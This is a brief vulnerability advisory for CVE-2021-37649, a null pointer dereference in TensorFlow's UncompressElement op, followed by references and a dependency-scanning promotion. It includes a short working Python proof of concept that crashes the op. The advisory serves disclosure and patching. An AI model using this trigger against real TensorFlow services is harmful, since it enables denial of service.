CVE-2021-37649: Null pointer dereference in `UncompressElement`
(updated )
The code for tf.raw_ops.UncompressElement
can be made to trigger a null pointer dereference:
import tensorflow as tf
data = tf.data.Dataset.from_tensors([0.0])
tf.raw_ops.UncompressElement(
compressed=tf.data.experimental.to_variant(data),
output_types=[tf.int64],
output_shapes=[2])
References
- github.com/advisories/GHSA-6gv8-p3vj-pxvr
- github.com/pypa/advisory-database/tree/main/vulns/tensorflow-cpu/PYSEC-2021-562.yaml
- github.com/pypa/advisory-database/tree/main/vulns/tensorflow-gpu/PYSEC-2021-760.yaml
- github.com/pypa/advisory-database/tree/main/vulns/tensorflow/PYSEC-2021-271.yaml
- github.com/tensorflow/tensorflow
- github.com/tensorflow/tensorflow/commit/7bdf50bb4f5c54a4997c379092888546c97c3ebd
- github.com/tensorflow/tensorflow/security/advisories/GHSA-6gv8-p3vj-pxvr
- nvd.nist.gov/vuln/detail/CVE-2021-37649
Detect and mitigate CVE-2021-37649 with GitLab Dependency Scanning
Secure your software supply chain by verifying that all open source dependencies used in your projects contain no disclosed vulnerabilities. Learn more about Dependency Scanning →